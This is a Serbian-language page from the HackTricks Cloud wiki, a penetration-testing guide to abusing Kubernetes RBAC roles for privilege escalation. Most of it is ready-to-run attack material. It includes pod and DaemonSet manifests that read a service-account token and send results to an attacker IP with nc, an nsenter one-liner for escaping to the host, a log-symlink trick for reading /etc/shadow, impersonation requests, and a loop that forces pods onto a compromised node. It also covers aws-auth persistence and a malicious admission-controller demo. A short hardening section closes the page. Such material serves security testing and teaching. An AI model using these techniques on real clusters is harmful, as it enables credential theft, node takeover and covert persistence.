Serbian - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

Abusing Roles/ClusterRoles in Kubernetes

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ovde možete pronaći neke potencijalno opasne konfiguracije uloga i ClusterRoles. Zapamtite da možete dobiti sve podržane resurse sa kubectl api-resources

Povećanje privilegija

Pod povećanjem privilegija se podrazumeva veština dobijanja pristupa drugom principalu unutar klastera sa različitim privilegijama (unutar kubernetes klastera ili ka eksternim oblakama) od onih koje već imate, u Kubernetesu postoje uglavnom 4 glavne tehnike za povećanje privilegija:

  • Biti u mogućnosti da se predstavite kao drugi korisnik/grupe/SA sa većim privilegijama unutar kubernetes klastera ili ka eksternim oblakama

  • Biti u mogućnosti da kreirate/izmenite/izvršite podove gde možete pronaći ili povezati SA sa većim privilegijama unutar kubernetes klastera ili ka eksternim oblakama

  • Biti u mogućnosti da čitate tajne jer se tokeni SA čuvaju kao tajne

  • Biti u mogućnosti da pobegnete na čvor iz kontejnera, gde možete ukrasti sve tajne kontejnera koji se izvršavaju na čvoru, akreditacije čvora i dozvole čvora unutar oblaka u kojem se izvršava (ako postoje)

  • Peta tehnika koja zaslužuje pomen je mogućnost pokretanja port-forward u podu, jer možda možete pristupiti zanimljivim resursima unutar tog poda.

Pristup bilo kom resursu ili glagolu (Zvezdica)

Zvezdica (*) daje dozvolu nad bilo kojim resursom sa bilo kojim glagolom. Koristi je administratori. Unutar ClusterRole to znači da napadač može zloupotrebiti bilo koju prostoriju u klasteru.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Pristupite bilo kom resursu sa određenim glagolom

U RBAC-u, određene dozvole predstavljaju značajne rizike:

  1. create: Omogućava mogućnost kreiranja bilo kog resursa u klasteru, rizikujući eskalaciju privilegija.

  2. list: Dozvoljava listanje svih resursa, potencijalno otkrivajući osetljive podatke.

  3. get: Dozvoljava pristupanje tajnama iz servisnih naloga, predstavljajući sigurnosnu pretnju.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Kreiranje Poda - Krađa Tokena

Napadač sa dozvolama za kreiranje poda, može pridružiti privilegovan Service Account u pod i ukrasti token kako bi se predstavio kao Service Account. Efikasno povećavajući privilegije na njega

Primer poda koji će ukrasti token Service Account-a bootstrap-signer i poslati ga napadaču:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Kreiranje i Bekstvo Pod-a

Sledeće ukazuje na sve privilegije koje kontejner može imati:

  • Privilegovan pristup (onemogućavanje zaštite i postavljanje sposobnosti)

  • Onemogućavanje hostIPC i hostPid namespace-ova koji mogu pomoći u eskalaciji privilegija

  • Onemogućavanje hostNetwork namespace-a, omogućavajući pristup krađi privilegija oblaka i bolji pristup mrežama

  • Montiranje / unutar kontejnera hostova

apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Kreirajte pod sa:

kubectl --token $token create -f mount_root.yaml

Jedan red iz ovog tvita i sa nekim dodacima:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Sada kada možete da pobegnete do čvora, proverite post-eksploatacione tehnike u:

Skrivanje

Verovatno želite da budete diskretniji, na sledećim stranicama možete videti na šta biste mogli da pristupite ako kreirate pod omogućavajući samo neke od pomenutih privilegija u prethodnom predlošku:

  • Privilegovani + hostPID

  • Samo privilegovani

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Možete pronaći primer kako kreirati/zloupotrebiti prethodne konfiguracije privilegovanih podova na https://github.com/BishopFox/badPods

Kreiranje Poda - Premeštanje u oblak

Ako možete kreirati pod (i opciono servisni nalog), možda ćete moći da dobijete privilegije u oblaku dodeljivanjem oblak uloga podu ili servisnom nalogu, a zatim pristupanjem tome. Osim toga, ako možete kreirati pod sa mrežnim imenikom domaćina, možete ukrasti IAM ulogu instance čvora.

Za više informacija pogledajte:

Pod Escape Privileges

Kreiranje/Patchovanje Deploymenta, Daemonsetova, Statefulsetova, Replicationcontrollera, Replicasetova, Poslova i Cron poslova

Moguće je zloupotrebiti ove dozvole da se kreira novi pod i uspostave privilegije kao u prethodnom primeru.

Sledeći yaml kreira daemonset i eksfiltrira token SA unutar poda:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Izvršavanje u Podovima

pods/exec je resurs u kubernetesu koji se koristi za izvršavanje komandi u ljusci unutar poda. Ovo omogućava da se izvrše komande unutar kontejnera ili da se dobije ljuska unutar.

Stoga je moguće ući u pod i ukrasti token SA, ili ući u privilegovan pod, pobegnuti na čvor i ukrasti sve tokene podova na čvoru i zloupotrebiti čvor:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Ova dozvola omogućava prosleđivanje jednog lokalnog porta na jedan port u određenom podu. Ovo je namenjeno kako bi se omogućilo lako otklanjanje grešaka aplikacija koje se izvršavaju unutar poda, ali napadač može zloupotrebiti ovo kako bi dobio pristup zanimljivim (kao što su baze podataka) ili ranjivim aplikacijama (veb?) unutar poda:

kubectl port-forward pod/mypod 5000:5000

Hostovi sa mogućnošću pisanja /var/log/ bekstvo

Kao što je naznačeno u ovom istraživanju, ako možete pristupiti ili kreirati pod sa hosts /var/log/ direktorijumom montiranim na njega, možete pobegnuti iz kontejnera. Ovo je uglavnom zato što kada Kube-API pokuša da dobije logove kontejnera (koristeći kubectl logs <pod>), on zahteva 0.log fajl poda koristeći /logs/ endpoint Kubelet servisa. Kubelet servis izlaže /logs/ endpoint koji zapravo izlaže /var/log fajlsistem kontejnera.

Stoga, napadač sa pristupom pisanja u /var/log/ folder kontejnera može zloupotrebiti ovo ponašanje na 2 načina:

  • Modifikujući 0.log fajl svog kontejnera (obično smešten u /var/logs/pods/namespace_pod_uid/container/0.log) da bude simbolička veza koja pokazuje na /etc/shadow na primer. Zatim, moći ćete da eksfiltrirate hosts shadow fajl koristeći:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file

  • Ako napadač kontroliše bilo koji princip sa dozvolama za čitanje nodes/log, može jednostavno kreirati simboličku vezu u /host-mounted/var/log/sym ka /, i kada pristupi https://<gateway>:10250/logs/sym/ biće mu prikazan sadržaj korenskog fajl sistema hosta (menjanje simboličke veze može omogućiti pristup fajlovima).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Laboratorija i automatizovani eksploit mogu se pronaći na https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Zaobilazak zaštite samo za čitanje

Ako imate sreće i visoko privilegovani kapacitet CAP_SYS_ADMIN je dostupan, možete jednostavno ponovo montirati fasciklu kao rw:

mount -o rw,remount /hostlogs/

Zaobilazak hostPath zaštite u režimu samo za čitanje

Kako je navedeno u ovom istraživanju, moguće je zaobići zaštitu:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Što je trebalo da spreči bekstva poput prethodnih, umesto korišćenja hostPath montaže, koristi PersistentVolume i PersistentVolumeClaim da montira hosts folder u kontejner sa pisanjem pristupa:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Imitiranje privilegovanih naloga

Sa privilegijom imitiranja korisnika, napadač može imitirati privilegovani nalog.

Jednostavno koristite parametar --as=<korisničkoime> u kubectl komandi da biste imitirali korisnika, ili --as-group=<grupa> da biste imitirali grupu:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Ili koristite REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Lista Tajni

Dozvola za listanje tajni može omogućiti napadaču da zapravo pročita tajne pristupajući REST API endpointu:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Čitanje tajne - grubo otkrivanje token ID-ova

Iako napadač koji poseduje token sa dozvolama za čitanje zahteva tačno ime tajne da bi je koristio, za razliku od šire privilegije listanje tajni, i dalje postoje ranjivosti. Podrazumevani servisni nalozi u sistemu mogu biti nabrojani, svaki povezan sa tajnom. Ove tajne imaju strukturu imena: statički prefiks praćen slučajnim alfanumeričkim tokenom od pet karaktera (isključujući određene karaktere) prema izvornom kodu.

Token se generiše iz ograničenog skupa od 27 karaktera (bcdfghjklmnpqrstvwxz2456789), umesto punog alfanumeričkog opsega. Ovo ograničenje smanjuje ukupan mogući broj kombinacija na 14.348.907 (27^5). Stoga, napadač bi mogao izvoditi grubo sile napade da bi dedukovao token u pitanju u roku od nekoliko sati, što potencijalno može dovesti do eskalacije privilegija pristupom osetljivim servisnim nalozima.

Zahtevi za potpisivanje sertifikata

Ako imate glagole create u resursu certificatesigningrequests (ili bar u certificatesigningrequests/nodeClient). Možete kreirati novi CeSR za novi čvor.

Prema dokumentaciji moguće je automatski odobriti ove zahteve, tako da u tom slučaju ne trebate dodatne dozvole. U suprotnom, morali biste biti u mogućnosti da odobrite zahtev, što podrazumeva ažuriranje u certificatesigningrequests/approval i approve u signers sa resursnim imenom <signerNameDomain>/<signerNamePath> ili <signerNameDomain>/*

Primer uloge sa svim potrebnim dozvolama je:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Dakle, sa odobrenim novim CSR-om čvora, možete zloupotrebiti posebne dozvole čvorova da ukradete tajne i dignete privilegije.

U ovom postu i ovom GKE K8s TLS Bootstrap konfiguracija je podešena sa automatskim potpisivanjem i zloupotrebljena je za generisanje akreditiva novog K8s čvora, a zatim zloupotrebljena za podizanje privilegija krađom tajni. Ako imate pomenute privilegije, možete uraditi istu stvar. Imajte na umu da prvi primer zaobilazi grešku koja sprečava novi čvor da pristupi tajnama unutar kontejnera jer čvor može pristupiti samo tajnama kontejnera montiranih na njemu.

Način zaobiđavanja ovoga je jednostavno kreiranje akreditiva čvora za ime čvora na kojem je montiran kontejner sa zanimljivim tajnama (ali proverite kako to uraditi u prvom postu):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Principali koji mogu izmeniti configmaps u kube-system namespace-u na EKS (mora biti u AWS) klasterima mogu dobiti privilegije administratorskog klastera tako što će prepisati aws-auth configmapu. Potrebni glagoli su update i patch, ili create ako configmap nije kreiran:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Možete koristiti aws-auth za upornost dajući pristup korisnicima iz drugih naloga.

Međutim, aws --profile other_account eks update-kubeconfig --name <cluster-name> ne radi iz drugog naloga. Ali zapravo aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing radi ako stavite ARN klastera umesto samo imena. Da biste omogućili rad kubectl-a, samo se pobrinite da konfigurišete kubeconfig žrtve i u aws exec argumente dodajte --profile other_account_role tako da će kubectl koristiti profil drugog naloga za dobijanje tokena i kontaktiranje AWS-a.

Eskalacija u GKE

Postoje 2 načina dodeljivanja K8s dozvola GCP principima. U svakom slučaju, princip takođe mora imati dozvolu container.clusters.get kako bi mogao prikupiti akreditive za pristup klasteru, ili ćete morati generisati svoju kubectl konfiguracionu datoteku (pratite sledeći link).

Kada razgovarate sa K8s API endpointom, GCP auth token će biti poslat. Zatim, GCP, putem K8s API endpointa, prvo će proveriti da li princip (po e-pošti) ima bilo kakav pristup unutar klastera, a zatim će proveriti da li ima bilo kakav pristup putem GCP IAM. Ako je bilo koji od njih istinit, biće odgovoren. Ako nije, biće prikazana greška koja sugeriše da se daju dozvole putem GCP IAM.

Zatim, prvi metod je korišćenje GCP IAM, K8s dozvole imaju svoje ekvivalentne GCP IAM dozvole, i ako princip to ima, moći će da ih koristi.

GCP - Container Privesc

Drugi metod je dodeljivanje K8s dozvola unutar klastera identifikujući korisnika po njegovoj e-pošti (uključeni su GCP servisni nalozi).

Kreirajte token za servisne naloge

Principali koji mogu kreirati TokenRequests (serviceaccounts/token) Kada razgovaraju sa K8s API endpointom SAs (informacije sa ovde).

ephemeralcontainers

Principali koji mogu ažurirati ili popraviti pods/ephemeralcontainers mogu dobiti izvršenje koda na drugim podovima, i potencijalno izaći na svoj čvor dodavanjem ephemeralnog kontejnera sa privilegovanim securityContext-om

ValidatingWebhookConfigurations ili MutatingWebhookConfigurations

Principali sa bilo kojim glagolima create, update ili patch nad validatingwebhookconfigurations ili mutatingwebhookconfigurations možda mogu kreirati jednu od takvih webhook konfiguracija kako bi mogli eskivirati privilegije.

Za mutatingwebhookconfigurations primer pogledajte ovaj odeljak ovog posta.

Eskalacija

Kao što možete pročitati u sledećem odeljku: Ugrađena prevencija eskalacije privilegija, princip ne može ažurirati niti kreirati uloge ili clusterroles bez posedovanja tih novih dozvola. Osim ako ima glagol escalate nad roles ili clusterroles. Tada može ažurirati/kreirati nove uloge, clusterroles sa boljim dozvolama od onih koje već ima.

Čvorovi proxy

Principali sa pristupom nodes/proxy podresursu mogu izvršiti kod na podovima putem Kubelet API-ja (prema ovde). Više informacija o Kubelet autentifikaciji na ovoj stranici:

Kubelet Authentication & Authorization

Imate primer kako dobiti RCE razgovarajući ovlašćeno sa Kubelet API-jem ovde.

Brisanje podova + nepostavljivi čvorovi

Principali koji mogu brisati podove (delete glagol nad resursom pods), ili izbaciti podove (create glagol nad resursom pods/eviction), ili promeniti status poda (pristup pods/status) i mogu učiniti druge čvorove nepostavljivim (pristup nodes/status) ili brisati čvorove (delete glagol nad resursom nodes) i imaju kontrolu nad podom, mogu ukrasti podove sa drugih čvorova tako da se izvrše u kompromitovanom čvoru i napadač može ukrasti tokene sa tih podova.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Status usluga (CVE-2020-8554)

Principali koji mogu izmeniti services/status mogu postaviti polje status.loadBalancer.ingress.ip kako bi iskoristili neispravljeni CVE-2020-8554 i pokrenuli MiTM napade na klaster. Većina mitigacija za CVE-2020-8554 sprečava samo usluge sa spoljnim IP adresama (prema ovome).

Status čvorova i podova

Principali sa dozvolama za update ili patch nad nodes/status ili pods/status, mogu izmeniti oznake da bi uticali na ograničenja raspoređivanja.

Ugrađena prevencija privilegovanog eskaliranja

Kubernetes ima ugrađeni mehanizam za sprečavanje privilegovanog eskaliranja.

Ovaj sistem osigurava da korisnici ne mogu povećati svoje privilegije izmenom uloga ili vezivanjem uloga. Sprovođenje ove pravila se dešava na nivou API-ja, pružajući zaštitu čak i kada je RBAC autorizator neaktivan.

Pravilo propisuje da korisnik može samo kreirati ili ažurirati ulogu ako poseduje sve dozvole koje uloga obuhvata. Štaviše, opseg postojećih dozvola korisnika mora se poklapati sa onim što obuhvata uloga koju pokušava da kreira ili izmeni: ili na nivou klastera za ClusterRoles ili ograničeno na isti namespace (ili na nivou klastera) za Roles.

Postoji izuzetak od prethodnog pravila. Ako principali ima glagol escalate nad roles ili clusterroles može povećati privilegije uloga i clusterroles čak i bez posedovanja dozvola.

Dobijanje & Ažuriranje RoleBindings/ClusterRoleBindings

Očigledno je da je ova tehnika funkcionisala ranije, ali prema mojim testovima više ne funkcioniše iz istog razloga objašnjenog u prethodnom odeljku. Ne možete kreirati/izmeniti rolebinding da biste sebi ili drugom SA dali privilegije ako ih već nemate.

Privilegija za kreiranje Rolebindings omogućava korisniku da vezuje uloge za servisni nalog. Ova privilegija potencijalno može dovesti do privilegovanog eskaliranja jer omogućava korisniku da veže administratorske privilegije za kompromitovani servisni nalog.

Ostali napadi

Aplikacija za sporedni proxy

Podrazumevano, nema enkripcije u komunikaciji između podova. Međusobna autentikacija, dvosmerna, od poda do poda.

Kreiranje aplikacije za sporedni proxy

Kreirajte svoj .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Uredite svoj .yaml i dodajte nekomentarisane linije:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Pogledajte dnevnike proxy servera:

kubectl logs app -C proxy

Više informacija na: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Zlonamerni kontroler prijema

Kontroler prijema interceptuje zahteve ka Kubernetes API serveru pre trajnog čuvanja objekta, ali nakon što je zahtev autentifikovan i autorizovan.

Ako napadač na neki način uspe da ubaci kontroler prijema mutacija, biće u mogućnosti da modifikuje već autentifikovane zahteve. Time može potencijalno da ostvari privilegije i češće da se trajno zadrži u klasteru.

Primer sa https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Proverite status da biste videli da li je spreman:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Zatim implementirajte novi pod:

kubectl run nginx --image nginx
kubectl get po -w

Kada vidite grešku ErrImagePull, proverite ime slike pomoću bilo kog od sledećih upita:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Kao što možete videti na gornjoj slici, pokušali smo pokrenuti sliku nginx, ali krajnja izvršena slika je rewanthtammana/malicious-image. Šta se upravo desilo!!?

Tehnički detalji

Skripta ./deploy.sh uspostavlja mutating webhook admission kontroler, koji modifikuje zahteve ka Kubernetes API-ju kako je navedeno u svojim konfiguracionim linijama, utičući na posmatrane rezultate:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Gornji isječak zamjenjuje sliku prvog kontejnera u svakom podu sa rewanthtammana/malicious-image.

Bypass OPA Gatekeeper

Kubernetes - OPA Gatekeeper bypass

Najbolje prakse

Onemogućavanje automatskog montiranja tokena servisnog naloga

  • Podovi i servisni nalozi: Podovi automatski montiraju token servisnog naloga. Da biste poboljšali sigurnost, Kubernetes omogućava onemogućavanje ove funkcije automatskog montiranja.

  • Kako primeniti: Postavite automountServiceAccountToken: false u konfiguraciji servisnih naloga ili podova počevši od verzije Kubernetes 1.6.

Restriktivno dodeljivanje korisnika u RoleBindings/ClusterRoleBindings

  • Selektivno uključivanje: Osigurajte da su u RoleBindings ili ClusterRoleBindings uključeni samo neophodni korisnici. Redovno vršite reviziju i uklanjajte irelevantne korisnike kako biste održali visok nivo sigurnosti.

Role specifične za prostor imena umesto globalnih uloga

  • Role vs. ClusterRoles: Preporučuje se korišćenje uloga i RoleBindings za dozvole specifične za prostor imena umesto ClusterRoles i ClusterRoleBindings, koji se primenjuju globalno. Ovaj pristup nudi precizniju kontrolu i ograničava obim dozvola.

Koristite automatizovane alate

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

PreviousKubernetes Role-Based Access Control(RBAC)NextPod Escape Privileges

Last updated